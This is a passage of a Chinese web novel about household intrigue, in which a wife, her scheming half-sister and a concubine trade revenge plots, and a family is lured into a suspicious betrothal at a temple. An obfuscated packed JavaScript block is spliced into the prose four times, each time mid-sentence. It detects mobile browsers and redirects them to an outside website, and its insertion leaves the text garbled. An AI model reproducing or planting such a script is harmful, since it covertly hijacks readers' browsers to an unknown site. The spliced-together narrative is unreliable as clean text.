赵漫仪心中暗骂玉袖是个不知廉耻的贱人,在对方看过来时,还是恰到好处的露出几分笑意,“其实也没什么事,只是前段时日我在坊市上买了一盒胭脂,后来发现这胭脂不太适合我,我见玉袖姐姐年岁稍长,这盒胭脂正好衬你。” 她很是好心的样子,把一只精巧锦盒推了过去,在她看来,玉袖就是个没见过世面的奴婢,一时得了运气才有进府服侍李彻的机会,定然是个眼皮子浅的,不会拒绝她送的东西。 玉袖睨了一眼,她哪里听不出赵漫仪是在嘲笑自己年纪大,不过还是将那盒胭脂收下,款款道,“三小姐真是有心了,这胭脂我很喜欢,用在我脸上,再配上大爷送我的新衣,大爷定然喜欢,我若得宠,头一个要感谢三小姐你。” 玉袖刻意将李彻送她的一套衣裙拿出来显摆。 “大姐夫对你还真是用心,只怕连我姐姐都赶不上你。”赵漫仪抚摸着那身新衣,说着违心的话。 不是什么名贵料子,却胜在样式别出心裁,也是她自己平日会喜欢的,可李彻并没有给她送过。 赵漫仪借此机会在玉袖房里逗留,不时摸摸这个,摸摸那个,不知不觉就多多说了几句话,不知道的,真以为她和玉袖感情有多好。 好不容易捱到赵漫仪走了,玉袖才冷下脸来,让婢子把赵漫仪碰过的东西都收起来,还有那盒胭脂,一起让人请了郎中过来查验。 她被送去庄子足足七年,七年里,再清白懵懂的小姑娘,也会被庄子里的人磋磨出一层皮来,女人之间的下作手段她是知道的,她处处提防,自然不会给赵漫仪半点可乘之机。 最后郎中验过,胭脂并无问题,唯一有问题的是李彻送给她,又被赵漫仪碰过的那身新衣,之所以查出问题,还是婢子收拾东西时触碰过,当日双手就起了红疹子。 玉袖冷笑,她还以为赵漫仪能做出什么惊天动地的事儿来报复她,原来就是想让她浑身起红疹毁容。 还是让她来教教赵漫仪,什么叫害人终害己。 那身新衣被来来回回反复浆洗过,两日后还是被玉袖穿上身,并用上了赵漫仪送她的胭脂,自是又与李彻春风一度,事后玉袖躺在李彻身上,刻意与他提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李彻快步上前,刚要抱住赵漫仪,对方的脸转过来的刹那,李彻自己都差点吓出声音。 他慌忙后退数步,惊恐地指着赵漫仪,“漫儿,你、你的脸……你的脸怎么全是红疹子?” 赵漫仪也顾不上质问李彻与玉袖的事,此刻她吓得浑身瘫软,跌坐在地,想摸自己的脸又不敢摸,一个劲儿地尖叫痛哭。 琉璃斋的动静太大,本已歇下的赵清仪被吵醒了,穿好衣服就往前头走去,不仅如此,琼华堂的罗氏李素素也起来了。 赵清仪是第一个赶到的,直接往厢房的位置走去,李彻听到脚步声,赶紧跑出来,冲赵清仪解释,“清仪,我就是方才听到动静赶过来看看,你快去瞧瞧你三妹,她好像……” 话没说完,赵清仪便掠过他走到厢房门口,玉袖也走了过来,见到赵清仪,慌忙让婢子把她拉开。 赵清仪错愕之际,隐约在玉袖脸上也看到了几颗小红疹。 玉袖用袖摆遮面,“大奶奶,您还是离三小姐远些,三小姐这脸不得了,那红疹好似会传染!” 一听会传染,跟在赵清仪后头的檀月俏月赶紧拽着她躲远些,就连李彻也在短暂愣神后站得远远的,任赵漫仪独自在房中崩溃大哭。 罗氏与李素素后脚赶到时,就见赵漫仪从房里跑出来,当着所有人的面掐住玉袖的脖颈,“都是你!是你这个贱.人害我!” 17. 第 17 章 “玉袖!” 几人不约而同喊出了声,玉袖被赵漫仪掐得差点喘不过气,好在俏月上前用力分开两人,赵漫仪一个娇娇弱弱的小姐,直接被俏月推倒在地。 月光之下,那张布满红疹的脸扭曲可怖,罗氏与李素素齐声惊呼。 这脸实在太吓人了。 李骄看到自己亲娘被人掐住脖子,急得眼泪都快出来了,他要过去,玉袖呵止他。 “别过来!妾身说了,三小姐这红疹是会传染人的,瞧着……瞧着像天花!” “天花”二字一出,又是一道惊雷滚滚,所有人再不敢上前,都躲得远远的,罗氏更是怕得要命,捂着口鼻催促,“那、那还不快把人送走!” 李素素也催促,“快把那个女人赶出去啊!她再待下去,我们全家人都要被她害了!” 她怕晦气,慌乱间拽过李骄,“可千万别连累了骄儿,骄儿是我们李家的嫡长子啊!” “对对对,可不能传染了我的宝贝孙儿。”罗氏冲赵清仪呵斥,“赵氏你还愣着作甚?赶紧把你妹妹送出去啊!” 电光火石间,赵清仪反应过来,恐怕所谓的天花是假,是玉袖出手反击了。 她看向玉袖,目光别有深意,玉袖只是暗暗朝她点了下头,眼下只有赵清仪能拿主意。 “三妹妹,你先别激动,我这就让人送你去医馆。”赵清仪给婢子使眼色,俏月胆子大,也猜到不是真天花,便装模作样捂着口鼻过去扶住赵漫仪。 赵漫仪哭过疯过,眼下没什么力气,很快就被俏月带出府去。 “所有人退出去,封锁琉璃斋,任何人不得进出。”若非如此,一旦有人起疑进来查,玉袖那点手段怕是瞒不住。 玉袖心中感激,也松了口气,罗氏等人哪儿敢逗留,宁可信其有,纷纷躲得远远的,就连李骄也被罗氏带回琼华堂,生怕李骄被赵漫仪连累出了差错。 李彻这段时日被玉袖缠着,压根没来得及和罗氏坦白另一个孩子的身份,罗氏至今也就只疼李骄一个孙儿。 至于李彻,他怕死得很,回到自己院里就开始不停沐浴搓洗,房中熏着艾草,到处烟雾缭绕。 琉璃斋一下就空了,玉袖站在院里,冲外头的赵清仪解释,“大奶奶不用担心,其实不是什么天花,只是三小姐往我衣服上下药,想害我毁容,我不过以其人之道还治其人之身,让婢子在她吃食里动了些手脚。” 为了赶走赵漫仪,她才假装在自己脸上弄出几个红疹子,扬言这东西有可能传染,不管最后赵漫仪那里查出的结果如何,人都送走了,以罗氏几人怕死的程度来看,是不会轻易让赵漫仪回来的。 檀月听得结舌,“玉袖姨娘,您就不怕连累了自己?万一大爷怕了你,再不来你房里……” “这不是还有大奶奶?大奶奶随便请个郎中过来,就说不是天花,只是吃错东西引起的,就能消除府里的恐慌,一会儿妾身再收拾干净,决不落人把柄。” 赵清仪也想到了这里,无奈道,“既然无事就回去歇着吧,我会让郎中过来的。” 玉袖福身,“麻烦奶奶了。” 回揽月阁的路上,檀月犹心惊不止,“奶奶,这玉袖姨娘如此行事,当真可以信任吗?” 她还不知道赵漫仪与李彻暗通款曲之事,当然对赵漫仪恨不起来,在她的角度只会觉得玉袖出手太过狠毒。 赵清仪却是淡笑,“她害不到我们头上就是了。” 上辈子赵漫仪把玉袖从庄子里解救出来,玉袖自愿为奴为婢,暗地里替赵漫仪出过不少主意,否则以赵漫仪浮躁的性子,很难撑到她这个李家大奶奶病倒的那一刻。 不过今非昔比了,玉袖是她的人,那些心机不再是拿来对付自己,这就足够了,至于玉袖和赵漫仪如何相争,她都乐见其成。 等俏月从医馆回来后,已是三更天,她到屋中回禀,“奶奶,三小姐回赵家去了。” 檀月叹道,“只怕那方姨娘知道后不会善罢甘休。” 赵漫仪是二房庶女,二房夫人不得宠,反而赵漫仪的生母方姨娘更得脸,若方姨娘知道自己女儿被算计,要来找自家奶奶讨说法可怎么好? 俏月撇撇嘴,“只是姨娘罢了,即便她有手段又如何,她一个姨娘,手还伸不到咱们奶奶的后宅里。” 赵清仪这会儿已经歇下了,正隔着青纱帐听着婢子的回话,眼皮突然一跳。 与此同时,方姨娘的芳菲院已经乱成一锅粥了。 方姨娘抱着啼哭不止的女儿,恨铁不成钢道,“谁让你如此心急?这下倒好,反被人家一个陪房小妾算计了。” 赵漫仪也不知道玉袖会这么狠,在她看来,只有她恨玉袖的份,万没有玉袖来害她的道理,除了她往那件新衣上抹了药粉之外,可没有再开罪过她。 “听说她是被赵清仪那死丫头从庄子上接回来的,定然是和赵清仪串通一气的。” 赵漫仪不解,“可是,赵清仪从前对我一向都好,她、她怎么会来害我呢?” “你傻呀。”方姨娘食指戳在她脑门上,“你和李彻那些事,要是让她知道了,你以为她不会提防你吗?为娘都教过你了,没有完全把握之前,不要轻举妄动,打草惊蛇。” 赵漫仪根本不知道自己何时暴露了,想来想去,都觉得不可能,除非赵清仪长了八百只眼睛一直盯着她,或是能未卜先知。 方姨娘叹了口气,她在后宅里斗了一辈子,唯一错的便是没教会女儿手段,可看着女儿一脸的疹子,又不忍心责骂,“罢了罢了,最近你就好好养着,郎中说了,这红疹不是天花,养养就会好的,不至于毁容。” 说到这儿,赵漫仪便摸着脸哽咽,“可是,我这幅样子已经被姐夫看到了,他若是厌弃了我……” 她都不敢再想下去,前有一个貌美赛天仙的赵清仪,后头又一个和李彻青梅竹马,还惯会勾.引人的玉袖,如今她没了这张脸,还怎么笼络住李彻的心? 想了想,还是因为赵清仪。 “如今李家上上下下都是赵清仪一人说了算,骏哥儿还在李家,也不知下人有没有好好照顾他,如果不是因为赵清仪,姐夫肯定会让我继续住在李家的!” 赵漫仪越想越难过,她知道自己的身份和赵清仪比不了,她是庶出,亲爹又只是六品吏部文选司主事,比不得大伯那般高官厚禄,她更没有孟家这样富可敌国的外祖,李彻一直藏着她,也是因为她不如赵清仪拿得出手。 当初说服内阁将李彻调回京城,就是赵清仪在背后出力,她不过从姨娘这里先一步得了消息告诉李彻,把功劳据为己有,才换来李彻高看自己一眼。 但这终究不是长久之计。 “娘,我在她房门口偷听到了,大伯一家要回来了,他们若是回来,赵清仪岂不是更得意,姐夫到时候就更离不开她,那我何时才能做李家的大奶奶?” 方姨娘摸着女儿的头发,眸中寒光如霜,一抹杀机悄然在心头滋生,“放心,娘自会想办法收拾她,你仔细说说看,上回你在她房门前都听到了什么?” 赵漫仪茫然看向方姨娘,嘴巴下意识已经说了出来,“好像、好像听到她说什么,让大伯一家从顺德府绕路回京……” — 赵清仪一宿辗转反侧,眼皮跳个不停,翌日醒来,两个婢子为她梳妆时都被她眼下两团青黑吓到了。 檀月忙取来煮熟的鸡蛋,在赵清仪眼下来回滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667200|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。 赵清仪自己也说不上为何会如此心神不宁,用膳时都一副心不在焉的样子,罗妈妈进来传话她才抬起头。 上回被收拾过,罗妈妈老实多了,赔着笑说,“大奶奶,郎中来瞧过了,说玉袖姨娘的脸不是因为天花,老太太那儿也安心了,不过老太太还是嫌晦气,要您陪同一起去相国寺烧香祈福。” 檀月见赵清仪没什么精神,正要拒绝,赵清仪已经应下了,“知道了,我晚些过去。” 总这样心神不宁不是个事儿,她索性去寺庙里求求菩萨,千万保佑爹娘弟弟回京平安顺利。 相国寺是上京附近香火最旺的庙宇,往来香客缕缕不绝,赵清仪便换了身低调的素色长衫与罗氏几人一起出门,同行的还有李骄与骏哥儿。 昨夜罗氏把李骄接到自己院里之后,就想把骏哥儿送走,还是李彻及时阻拦,告知罗氏真相,又把罗氏吓一大跳,不过平白多添一个亲孙子,她心里还是高兴的,只是这些当然要瞒住赵清仪。 为免生事,她和李素素最近都不主动去触赵清仪的霉头,一行人相安无事到了相国寺。 李家在京中本就是小门小户,加上赵清仪戴着帷帽有意低调,相国寺并无小沙弥出来接应,几人只能跟着香客涌动的方向往大雄宝殿走去。 大殿之内檀香氤氲成雾,佛前的长明灯烛火跳跃,将金身如来映得忽明忽暗。 赵清仪摘下帷帽,手持线香许愿过后拜了三拜,再亲手将香插进鎏金鼎炉中,便在小沙弥的示意下重新戴上帷帽,往供香客休息的禅房走去。 跨过门槛,便拐入了一条狭窄甬道,赵清仪刚走几步,对面不远处也拐出两道人影,隔着帷帽隐约可见是男子的身形,即将靠近时,她下意识往边上侧身躲避。 只是路窄,容不得几人并行,来人经过身边时,玄色织锦袍角掠起,宽大的袖摆还是不免与赵清仪垂落的纱幔相撞,带起一阵清苦的松香之气。 “小姐当心。” 低沉的嗓音在头顶响起,因赵清仪戴着帷帽,对方并不能分辨她的身份,只回身虚扶了一把,然而纱幔扬起又垂落的瞬间,那人似乎瞥见了她的容貌,一时愣住。 赵清仪是不敢抬头的,婢子上来替她重新整理帷帽,随后便各走各路。 只是走出几步之后,赵清仪还是慢慢停下了脚步,方才她没有抬头,却是听得见那人的声音,似乎有些耳熟,像是在哪里听过。 而另一端,乔装过的楚元河与福贵在跨出门槛后,也停下了脚步。 福贵小声说,“陛下,方才那位,好像是赵大奶奶。” 楚元河喉头轻轻滚动,“朕知道。” 惊鸿一瞥,帷帽之下的那张脸,他再熟悉不过。 一别多年,赵清仪的五官已经长开,与未及笄时的青涩稚嫩有所不同,按理,他很难一眼认出她,但他却在梦中见过三十六岁的赵清仪。 梦中,她躺在棺材里,面容柔美而平和,就是长开后的样子,和如今十八岁的她,眉眼间的气质一般无二。 他的梦,居然没有错。 楚元河胸口蓦地掀起惊涛骇浪,如果梦里一切都是真的…… 他不敢再想下去。 福贵没注意他的脸色,还瞧着赵清仪离去的背影,见后头跟了罗氏母女,便说,“应该是李家女眷一同出来上香了,瞧赵大奶奶心事重重的样子,莫不是在替赵大人祈福?” 对,梦里这一年,赵清仪的父母弟弟路遇劫匪身亡。 他应该做些什么才是。 楚元河倏地抬起眸子,“回头吩咐锦衣卫,就那个杨千户,让他去打探赵怀义回京路线,顺便将消息传给即将回京的长公主与驸马。” 18. 第 18 章 赵清仪上完香回禅房休息,罗氏与李素素几人很快追了上来,只是天气炎热,一家人挤在禅房里闷得慌,再加上还有两个孩子。 李骄还算稳重,就在赵清仪身旁安安静静坐着练字。 骏哥儿却不行,他才三岁,自小被赵漫仪娇惯着,这里又热又无聊,他便开始哭闹。 虽然知道他是哥哥的亲儿子,李素素还是按捺不住翻了个白眼,哭得她真烦心呐。 “娘,这屋里太热了,我去后头走走。”李素素热得直甩帕子扑凉,不等罗氏回应人就出去了。 寺院供香客休息的禅房连成一片,李素素漫无目的地随便走,眼睛还在庭院里乱瞟。 京中权贵甚多,李家只是最不起眼的一户人家,自然得不到相国寺僧人的优待,可其他人就不同了,李素素发现前头那一排禅房个个宽敞明亮,甚至还有沙弥往里头送冰饮子。 果然到哪儿都一样,都是看人下菜。 李素素没好气地撇嘴,没注意侧面走来一位公子哥儿,一不小心就与来人撞了满怀,她本就烦闷着,当即要发作,然而抬眸一看,登时怔住。 对方眼疾手快揽住她的胳膊,这才没让李素素摔了,见她目光看过来,颇有几分君子风度的笑了笑,“实在抱歉,姑娘没受伤吧?” 那是一张粉白俊秀的面容,高鼻薄唇,手中还拢着一卷书,瞧着风雅翩翩,李素素短暂失神后,垂眸悄然红了脸。 “没、没事,倒是公子你……没撞疼吧?”李素素难得柔声软语。 “我没事。”对方还保持着搀扶她的动作,大手揽着她的胳膊。 李素素长这么大,还从未与男子如此近距离接触过,一时也忘了叫他松手。 直到对面传来一道妇人又惊又骇的声音,“十三郎,你在哪儿干什么?” 二人吓一大跳,慌忙分开,李素素更是险些跌倒,对方不得已再次出手搀扶。 那妇人的声音更急切了,“十三郎!” 她音量不小,自然吸引了禅房里正在休息的罗氏。 十三郎?外头竟有别的男子? 想到自己女儿就在外面,罗氏顾不上其他,慌忙跑出去,就见一个陌生男人搀扶自己女儿,而不远处快步走来一身着华服的贵妇人,后头还有四五个仆婢,一看就知为首的是高门大户里的当家夫人。 忠勇伯夫人走到男子身旁,先是看了眼他的神色,目光再掠过李素素。 李素素慌乱之下拂开男子搀扶的手,后退数步拉开距离,她再蠢笨,也能从对方的衣着打扮上判断出来人身份不凡,便绞尽脑汁回想曾经见过的赵清仪的样子,装模作样行了一礼。 “夫、夫人安好……” 也不知是慌乱还是羞赧,李素素小脸绯红,完全不敢正视眼前的妇人。 忠勇伯夫人打量她,“你是哪家姑娘?生得倒还算端正清秀。” 她语气不见恼怒,倒让李素素紧张的心稍缓,“家兄李彻乃乙丑科进士,曾任岭南鹤山县县令。” “你说的,莫不是那位即将入翰林的李探花?”寒门进士,即便真入翰林,也就一七品小官,在忠勇伯夫人这等勋贵眼中不值一提。 不过她还是挤出笑容,言辞间不提李彻被停职在家一事,客气的说,“这探花郎的妹妹,瞧着确实不一般呐,难怪十三郎在这儿与你拉拉扯扯。” 李素素慌忙摇头,“不不不,夫人您误会了,我和令公子……” “别紧张,本夫人不是来兴师问罪的。”忠勇伯夫人一副我都懂的样子,对李素素笑容温和,转头却是瞪了旁边的十三郎一眼。 “瞧你,若是看上了人家姑娘,回头与我说一声就是,何必在这寺中……哎!”她状似难以启齿,说得十三郎无地自容。 李素素被弄得百口莫辩,眼泪都快出来了,“夫人,您真误会了,不是您想的那样,我和这位公子并不认识……” 对方却一口咬定,“姑娘放心,我家十三郎做下了浑事,我伯府不会不认,一定给你个公道。” 二人说话的功夫,罗氏已经到了李素素身旁,她自然是听到了两人的对话,不过她却注意到忠勇伯夫人的打扮气势,试探着问,“我是探花郎的母亲,不知夫人您是……” 后头一个嬷嬷紧接着道,“我家夫人是内阁次辅王仰止,王阁老的嫡亲胞妹,如今的忠勇伯府主母。” “哎呀,原来是王夫人!” 罗氏起初还担心,一听到对方竟是伯府之人,悬着的心安了,忙整理自己的衣裳头面,笑容谄媚,“王夫人,失敬失敬!” 就连一脸委屈的李素素也怔住了,没想到眼前的贵妇人居然是伯府夫人! 那…… 那方才与她相撞之人,岂不是……伯府公子! 李素素心跳猛然加快。 王夫人扯了扯嘴角,算是与罗氏回礼,她又看了李素素一眼,明知故问,“这位姑娘是你家的?” 罗氏拉了李素素一把,“是,我李家就这一位待字闺中的女儿。” 得到回复,王夫人很是满意,又随口问,“今日就你们母女二人来祈福烧香吗?可还有其他人?” “有的有的,我们一家都来了。”生怕错过这个结交伯府的机会,罗氏打发罗妈妈去请赵清仪过来。 赵清仪正在房里吃茶,守着李骄练字,他正开蒙,写得很是勤奋,听到罗妈妈过来传话,忖了忖说,“骄儿,你且在这练字,不要乱跑。” 李骄很听话,“母亲慢走,儿子知道了。” 赵清仪便领着婢子出去,见到忠勇伯府的王夫人,她并不意外,只朝对方福了福身。 王夫人眼睛都亮了,果然是赵家女儿,看来今日找对人了。 “早听闻李家娶了位得力的贤内助,今日一见,真真是气度不凡。”不同于应付罗氏,她对赵清仪的笑容更添了三分真情实意。 赵清仪刻意低调,穿的素净,可那高门里娇养出的贵气是瞒不过王夫人的。 “夫人过誉了。”赵清仪淡淡一笑,扫了一眼李素素与王夫人身后的男子。 二人垂着脑袋,一副犯了错的样子,而李素素眼眶微红,似是受了委屈,不过这会儿却又偷眼打量对方。 这是知晓对方身份后,芳心暗许了? 想到上一世李素素的归宿,赵清仪心底冷笑,只怕这根本就不是什么偶遇,不过是伯府有心算计罢了。 下一刻就听王夫人说,“哦对,光顾着寒暄,差点忘了正事,先前我见十三郎与李姑娘拉拉扯扯,不知李姑娘可有婚配?” 罗氏心头突的一跳,拉拉扯扯? 但很快,罗氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681840|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急中生智,顺着王夫人的话头连连摆手,“没有没有!我家素素呀,自小家教严苛,她哥哥也管束着,从不敢逾矩,更不曾与外男接触,也就方才,我一个不注意竟让素素与你家郎君……” 罗氏懊恼的一拍大腿,“嗨呀,这传扬出去,我家素素一个未出阁的黄花大闺女,往后可怎么办?” 王夫人如何不明白罗氏话中深意,这是怪十三郎污了李素素的清誉。 这小门小户出来的女人,还真会顺着竿子往上爬,迫不及待想攀上她们忠勇伯府。 若非李家娶了有钱有势,又事事为李家操劳的赵氏女,她才不会多看李家一眼。 王夫人心中暗讽,面上却笑着给男子使了个眼色,“十三郎,你先前冒犯了李姑娘,还不快向人家赔罪?” 十三郎再次深深作揖。 李素素羞赧,却架不住目光里的炙热,一颗芳心在胸膛里怦怦乱跳,女子都爱相貌俊秀的郎君,她也不能免俗,况且,对方还是伯府公子,这样的门第,她还有什么可挑剔的。 横竖王夫人已经误会,索性顺水推舟。 王夫人看在眼中,“看样子,李姑娘是不怪十三郎了,正好我家十三郎也尚未娶妻,又不慎坏了李姑娘清誉,不若,我们就此两家结亲?” 罗氏双眸一亮,她等的就是这句话! “王夫人您……您真的愿意与我家结亲?” “我说的话,怎会有假?”王夫人主动牵过罗氏激动到无处安放的手,“你放心,我伯府出来的儿郎,可不会做那等不负责任之事,就当是为了我伯府名声,也一定会给李姑娘一个交代。” “十三郎,玉佩拿来。” 十三郎不敢耽搁,忙将袖中一对雕花碧玉佩呈上。 王夫人将其中一半送给罗氏,“你若同意两家结亲,这半块玉佩就是我伯府信物,待我回去择了吉日,再登门求亲。” 罗氏脑中晕眩,整个人轻飘飘的,不敢相信如此好的亲事就这般落在自己女儿头上了,她颤着手接过玉佩,“哎呀,我女儿素素何德何能,竟能得王夫人与令公子的青睐。” 赵清仪全程冷眼旁观。 这句话倒算罗氏说对了,李素素何德何能,她李家何德何能? “婆母,时辰不早了,用过斋饭,我们就要回去了。”赵清仪眉眼低垂,语气温和。 许是即将攀上伯府这门姻亲,罗氏有了底气,斜睨了她一眼,“没见我正和王夫人说话呢,没眼力见的东西!” 当着外人的面,赵清仪还是从前那个言听计从,事事顺着婆母的好儿媳,“那婆母慢慢说,儿媳先回去准备斋饭。” 李彻被停职在家,对李素素的婚事而言无疑是雪上加霜,更没人愿意与她们结亲,罗氏越发心急,此刻遇上忠勇伯府这门亲事,便觉是天上掉馅饼的好事,恨不能立刻高攀伯府,却也不想想,人家伯府能看上李家什么? 上一世李素素嫁的就是忠勇伯府,却在婚前折腾出祸事,引得伯府上门问罪要求退亲,罗氏为了挽回这门亲事,同意伯府提出的嫁妆翻倍的要求,而这些嫁妆,最后都让她出,为此还赔上她名下一处温泉庄子。 这一世相国寺“偶遇”结亲,赵清仪有九成把握,忠勇伯府图谋不轨。 罗氏答应这门亲事,就是把自己女儿推向火坑。 19. 第 19 章 不过这些,赵清仪是不会提醒罗氏与李素素的,她们自个儿贪慕权势,着急定亲,那就随她们去好了,只是这一世,想让她再给李素素添妆陪嫁,绝无可能。 王夫人看着赵清仪离去的背影,心中愈加肯定。 早听闻这赵氏女下嫁李家后,处处孝顺婆母,善待小姑,什么好东西都先紧着她二人,如今罗氏如此待她,她都温和有礼,言听计从,想必将来,也会用心筹备小姑子的嫁妆。 毕竟赵清仪的外祖是大梁第一皇商,她手里可有几十万傍身。 王夫人仿佛看到了一块即将到嘴的肥肉,眸光渐沉,随后又笑吟吟,十分和善可亲,“今日有缘,不如你我两家一同用顿斋饭?” 罗氏忙不迭应下,她听闻相国寺有给各家权贵预留禅房,冬暖夏凉,与她们普通香客区分开来,里头不仅宽敞,茶果糕点一应俱全,她和李素素早就想见识一番。 母女俩索性直接跟着王夫人走了。 赵清仪回到禅房,李骄与骏哥儿还在屋里,边上只有两个婢子侍奉,她便领着两个孩子一同到斋堂去。 七岁的李骄会自己用筷子吃饭,骏哥儿却不行,三岁了,别说使筷子自己吃饭,话都说不利索,别别扭扭扒了几粒米,觉得毫无滋味可言,气得摔了碗筷,躺在地上哭。 “我不吃这个!我要吃肉!” 从前他还有赵漫仪这个亲娘伺候着,事事都惯着他,可到了赵清仪这里,就跟没听到他哭似的。 檀月被这孩子的气性惊到了,但看他在地上撒泼,不敢靠近,只在一边好言语劝,“骏哥儿,这是寺庙,戒食荤腥,先将就着,要吃什么,等回去了你和老太太说。” 她的劝说并不起作用,骏哥儿还在地上打滚,要死要活。 只有李骄心软,过去要扶他起来,毫不意外的被骏哥儿踢了一脚。 “你们都是坏人!都是坏人!我要我娘,我要我娘……呜呜呜……”骏哥儿哭得撕心裂肺。 李骄想劝说几句,又见赵清仪面色冷淡,便悻悻回到自己的位子上吃饭,察觉出空气中的压抑沉闷,主动往赵清仪碗里夹了一根青菜,“母亲,您近日辛苦,多吃点。” 赵清仪微愕,方才她确实心情不好,脑子里回想起前世种种,再看到骏哥儿,想到临死前骏哥儿那副恨透她的样子,她就浑身发冷。 上一世,因为李彻的嘱咐,她一门心思希望骏哥儿能走文官之路,光耀李家门楣,把他当亲儿子一般教养,先生给他请最好的,衣食住行样样精细,四处打点关系为他铺路。 后来为了给他娶妻,赵清仪千挑万选寻到个端庄可靠的世家女相配,可到头来,他埋怨自己逼他读书,逼他科举,还执意要娶个心怀不轨的青楼妓子进门,她不同意,骏哥儿便为此怨恨她这个嫡母。 都说父母之爱子,则为之计深远,赵清仪不是他亲娘,做到这个程度,她自认问心无愧,却没落到半点好处。 横竖是喂不熟的白眼狼,她索性就纵着这个孩子,她倒要看看,没有她的管束,他能放纵成什么样子。 赵清仪从回忆中抽离,笑着摸了摸李骄的脑袋,“斋饭清淡,你先吃着,不够了咱们再回家吃。” 态度之温和,全然不似对骏哥儿的冷淡。 李骄大口扒着碗里的饭,“够的够的,儿子不嫌弃。”母子俩倒是其乐融融。 斋堂外,赵漫仪戴着面纱将这一幕看在眼里,又是心痛又是气急,露在外头的一双眼睛通红。 她一听说李家出门上香,脸都没好就着急出来,想趁机看看儿子,谁料竟让她见到这一幕。 该死的赵清仪,居然敢如此苛待她的儿子! 赵漫仪没忍住,径直冲了上去。 “赵清仪,骏哥儿还是个孩子!”她过去把躺在地上撒泼哭闹的骏哥儿抱起。 骏哥儿正是伤心之时,早忘了入府前赵漫仪的叮嘱,张口便要喊娘,好在赵漫仪眼疾手快,将一块饴糖塞到他嘴里,心疼的说,“天可怜见的,才三岁的孩子,就被嫡母苛待成这样……” 她用帕子替骏哥儿擦拭眼泪,转过头不满地看向赵清仪,“大姐姐,你怎么能这样呢?” 李骄不愿赵清仪被误会,于是起身解释,“姨母,我母亲没有苛待他,是他嫌斋饭无味,在寺庙里闹着要吃肉。” 他如今养在赵清仪膝下,自然也顺着这边的关系来称呼赵漫仪。 赵漫仪抱着孩子,“骏哥儿才三岁,正是长身体的时候,再说了,他小小年纪哪里懂什么寺庙吃斋的规矩,大姐姐,您应该另外想办法安置骏哥儿才是。” “姨母……” 李骄还欲辩解,赵清仪按住他的肩头,示意他不必再说,随后看向赵漫仪,“三妹妹,有句话你说错了,我是骄儿的母亲,却不是骏哥儿的母亲,这孩子与我之间,无名无分,我实在没资格替他亲娘管教他,还有,带他来相国寺的,是婆母。” 骏哥儿在李家地位尴尬,她照顾是情分,不照顾是本分,休想把恶毒嫡母的帽子扣她头上,她可没认这个孩子。 赵漫仪不甘心,“即便你不是骏哥儿的母亲,如今骏哥儿住在府上,你身为主母也该照顾他……” “哪儿有什么天经地义的事?” 外人不知情就算了,赵漫仪对这个孩子的来历心知肚明,还想和她装?一个奸生子,配得到她的照顾吗? 赵清仪搁下碗筷,柔声说,“倒是三妹妹,你与这孩子非亲非故,倒瞧着很是关心他,莫非,你与孩子之间有何渊源?” “我……我当然没有。”赵漫仪眼眸闪了闪,有些心虚,她和骏哥儿的关系可不能暴露,“我只是见他哭成这样,心疼罢了,大姐姐,我都尚且知道心疼孩子,你为何就不能对他一视同仁呢?” 还想和骄儿一视同仁? 赵清仪决定大度一回,“三妹妹如此心疼骏哥儿,不如我回头和夫君说一声,叫他把孩子过继给你,往后就由你照顾这个骏哥儿,至于要出多少银钱,你只管找我夫君要就是了,我不介意的。” 她现在和李彻分割得清清楚楚,李彻那点俸禄她也瞧不上。 赵漫仪再次一噎。 “这主意甚好!”俏月当即拍手。 她可不像檀月那般心善,她一看骏哥儿这撒泼的劲儿就喜欢不起来,巴不得打发他走,“既然三小姐心疼这个孩子,三小姐又是寡妇,膝下无子,倒不若就让孩子跟了她,将来就给三小姐养老送终,也算两全其美。” 好什么好! 赵漫仪就差跳起来骂人了,要真如此,她与李彻又何必大费周章把骏哥儿送到李家?为的就是让赵清仪认下这个孩子,将来好名正言顺继承赵清仪的嫁妆财产。 赵漫仪面纱之下的脸色乍青乍白,骏哥儿见她犹豫,又开始哭,“连你也不要我了,你也不心疼骏哥儿了……” “莫哭莫哭,我怎会不心疼你呢?” 赵漫仪借着安抚孩子,趁机捏了捏骏哥儿的胳膊提醒,“只是你要知道,你如今是李家的小少爷,我只是个孀居的寡妇,与你无亲无故。” 赵清仪静静看着她们母子二人,唇边笑意不减。 她就喜欢看赵漫仪着急孩子,又无可奈何的样子,这种感觉实在美妙。 赵清仪慢条斯理的擦拭唇角。 横竖已经给过赵漫仪带走儿子的机会,是她自己不想要,那将来,就让赵漫仪亲眼看着这个孩子是怎么被养废的! 赵清仪吃好了,冲身后的俏月使眼色,俏月便上前揽过骏哥儿,将他按在条凳上,重新端了碗筷塞到他手里。 “骏哥儿,快些吃饭,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 